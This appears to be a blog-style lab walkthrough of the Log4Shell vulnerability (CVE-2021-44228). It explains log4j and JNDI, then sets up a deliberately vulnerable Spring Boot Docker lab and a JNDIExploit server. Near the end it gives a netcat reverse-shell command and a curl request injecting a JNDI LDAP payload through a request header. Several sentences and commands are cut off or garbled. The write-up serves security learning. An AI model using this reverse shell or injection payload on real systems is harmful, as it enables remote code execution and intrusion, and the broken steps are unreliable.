log4j vulnerability is a vulnerability which can have significant impact on the security of the system. It gives remote command execution on the target system which can cause significant damage on the system. This attack vector has been carried out by various threat actors and they were able to breach various servers and execute commands. It is strongly advised that system administrators update their systems as soon as possible.


On December 10th, 2021, the National Vulnerability Database (NVD) published the CVE-2021-44228 documenting a vulnerability in the Apache log4j library Java Naming and Directory Interface (JNDI) lookup feature allowing for remote code execution by an attacker who is able to manipulate log messages. A proof of concept was released on December 9th, 2021, and active scanning and exploitation attempts have increased through the time of the publishing of this brief.

An important note - this vulnerability was around before December 9th, 2021, and readers should look for possible exploitation attempts in their environment in time frames prior to the disclosure and CVE published date.



Log4j records events – errors and routine system operations – and communicates diagnostic messages about them to system administrators and users. A common example of Log4j at work is when you type in or click on a bad web link and get a 404 error message. The web server running the domain of the web link you tried to get to tells you that there’s no such webpage. It also records that event in a log for the server’s system administrators using Log4j.

Similar diagnostic messages are used throughout software applications. For example, in the online game Minecraft, Log4j is used by the server to log activity like total memory used and user commands typed into the console.

Java Naming and Directory Interface (JNDI)

As the name suggests that this is the interface by which we can call other external systems for various lookups. Below we can see that diagram for how JNDI works and what are the components [4]. 4e2da0ed2e777b3afe4e096f9200e52b.png

Such lookups can previously had access to remote systems to execute command but they were disabled by default [1]. Unfortunately, such remote quries were disabled in other implementations but were not disabled by default for LDAP.

This is certainly not the first time that log4j in combination with that JNDI lookup have been used to provide exploit material. It happened in 2017 and 2019. The other portions of the JNDI naming services have stopped remote code loading since at least 2016. Only the LDAP portions appears to not do that by default (or at least in 2016 it wasn’t again more on that later).

Here we can find attacks via other interfaces from [2]. In that document

vulnerable code

server running log4j

For the server code part we will be using the vulnerable code from [5]. We will then analyze the code and try to understand the code and how the exploit is working. To download the code

git clone git clone https://github.com/twseptian/Spring-Boot-Log4j-CVE-2021-44228-Docker-Lab.git

After cloning the code we can see that following files:


$ cat MainController.java 
package fr.christophetd.log4shell.vulnerableapp;

import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestHeader;
import org.springframework.web.bind.annotation.RestController;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class MainController {

    private static final Logger logger = LogManager.getLogger("HelloWorld");

    public String index(@RequestHeader("X-Api-Version") String apiVersion) {
        logger.info("Received a request for API version " + apiVersion);
        return "Hello, world!";


The main controller is not intriguing. It initializes the LogManager [6]. As from developers guide we can see that this method is used to initialize the Log4j component. And in the second part of the code which is GetMapping, we can see that the X-Api-Version is the only component which is being passed on to the logger to log.


$ cat VulnerableAppApplication.java 
package fr.christophetd.log4shell.vulnerableapp;

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;

public class VulnerableAppApplication {
	public static void main(String[] args) {
		SpringApplication.run(VulnerableAppApplication.class, args);

The vulnerable code application does not appears to have any significant

JNDI Exploit

Now we will need a LDAP server and HTTP server running at the same time. Here we will need one LDAP server to send a response. As sometimes it is not possible to a large payload on

$ java -jar JNDIExploit-1.2-SNAPSHOT.jar -i -p 8888
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...


We will be using a freshly installed Ubuntu machine to test our exploit. Before starting, do not forget to run the sudo apt update command. You will have to install the following packages as well.

sudo apt install git docker 
sudo apt install docker.io

The Ubuntu version:

$ cat /etc/*-release
VERSION="20.04.1 LTS (Focal Fossa)"
.. SNIP ...

docker image

To test the vulnerable code [5], we can run the exploit in the docker image as running the code running in the host will require additional packages.

$ sudo docker build spring-boot-log4j -t spring-boot-log4j-vulnerable

Sending build context to Docker daemon  86.53kB
Step 1/9 : FROM gradle:7.3.1-jdk17-alpine AS builder
7.3.1-jdk17-alpine: Pulling from library/gradle
97518928ae5f: Pull complete 
56981b1bb25b: Pull complete 
eb6d985b90ee: Pull complete 

... SNIP ...

Step 9/9 : CMD ["java", "-jar", "/app/spring-boot-application.jar"]
 ---> Running in 8129a8976c6b
Removing intermediate container 8129a8976c6b
 ---> 4b3d98f18e0a
Successfully built 4b3d98f18e0a
Successfully tagged spring-boot-log4j-vulnerable:latest

Now we can run this docker image by using the following command.

$ sudo docker run -p 8080:8080 --name spring-boot-log4j-vulnerable spring-boot-log4j-vulnerable

  .   ____          _            __ _ _
 /\\ / ___'_ __ _ _(_)_ __  __ _ \ \ \ \
( ( )\___ | '_ | '_| | '_ \/ _` | \ \ \ \
 \\/  ___)| |_)| | | | | || (_| |  ) ) ) )
  '  |____| .__|_| |_|_| |_\__, | / / / /
 :: Spring Boot ::                (v2.6.1)

2022-01-05 13:46:23.663  INFO 1 --- [           main] f.c.l.v.VulnerableAppApplication         : Starting VulnerableAppApplication using Java 1.8.0_181 on 6ed771db093d with PID 1 (/app/spring-boot-application.jar started by root in /)
2022-01-05 13:46:23.669  INFO 1 --- [           main] f.c.l.v.VulnerableAppApplication         : No active profile set, falling back to default profiles: default
2022-01-05 13:46:24.353  INFO 1 --- [           main] o.s.b.w.e.t.TomcatWebServer              : Tomcat initialized with port(s): 8080 (http)
2022-01-05 13:46:24.367  INFO 1 --- [           main] o.a.c.c.StandardService                  : Starting service [Tomcat]
2022-01-05 13:46:24.368  INFO 1 --- [           main] o.a.c.c.StandardEngine                   : Starting Servlet engine: [Apache Tomcat/9.0.55]
2022-01-05 13:46:24.415  INFO 1 --- [           main] o.a.c.c.C.[.[.[/]                        : Initializing Spring embedded WebApplicationContext
2022-01-05 13:46:24.416  INFO 1 --- [           main] w.s.c.ServletWebServerApplicationContext : Root WebApplicationContext: initialization completed in 678 ms
2022-01-05 13:46:24.706  INFO 1 --- [           main] o.s.b.w.e.t.TomcatWebServer              : Tomcat started on port(s): 8080 (http) with context path ''
2022-01-05 13:46:24.716  INFO 1 --- [           main] f.c.l.v.VulnerableAppApplication         : Started VulnerableAppApplication in 1.362 seconds (JVM running for 1.908)
2022-01-05 13:46:45.138  INFO 1 --- [nio-8080-exec-1] o.a.c.c.C.[.[.[/]                        : Initializing Spring DispatcherServlet 'dispatcherServlet'

As of now the docker image is running on port 8080 on the localhost. This port on the localhost is being forwarded to the dockers 8080 port. We can also browse the port from the browser and can also see a response.

command execution

Now we need to send a command to the port 8080. To execute a command we will have encode the command in to base64 and send it.

For the following example we will use nc command to obtain a reverseshell. Following command has been encoded into base64 to get the reverse shell.

nc 9001 -e /bin/sh

Prior to executing this command, listener should be started on the client machine.

curl -H 'X-Api-Version: ${jndi:ldap://}'


  1. https://blog.alnarra.com/2021/12/understanding-log4js-jndildapattacker.html
  2. https://logging.apache.org/log4j/2.x/manual/lookups.html#JndiLookup
  3. https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
  4. https://docs.oracle.com/javase/tutorial/jndi/overview/index.html
  5. https://github.com/twseptian/Spring-Boot-Log4j-CVE-2021-44228-Docker-Lab
  6. https://logging.apache.org/log4j/2.x/log4j-api/apidocs/org/apache/logging/log4j/LogManager.html
  7. https://github.com/jas502n/JNDIExploit/tree/master/JNDIExploit-1.2